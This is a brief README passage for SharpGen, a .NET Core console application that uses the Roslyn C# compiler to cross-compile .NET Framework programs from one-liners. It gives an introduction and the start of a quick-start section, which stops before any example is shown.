SharpGen

SharpGen is a .NET Core console application that utilizes the Rosyln C# compiler to quickly cross-compile .NET Framework console applications or libraries.

Intro

You'll find details and motivations for the SharpGen project in this introductory blog post.

Quick Start

The most basic usage of SharpGen would be to provide SharpGen an output filename and a C# one-liner that you’d like to execute. SharpGen will generate a .NET Framework console application that will execute the one-liner. For example:
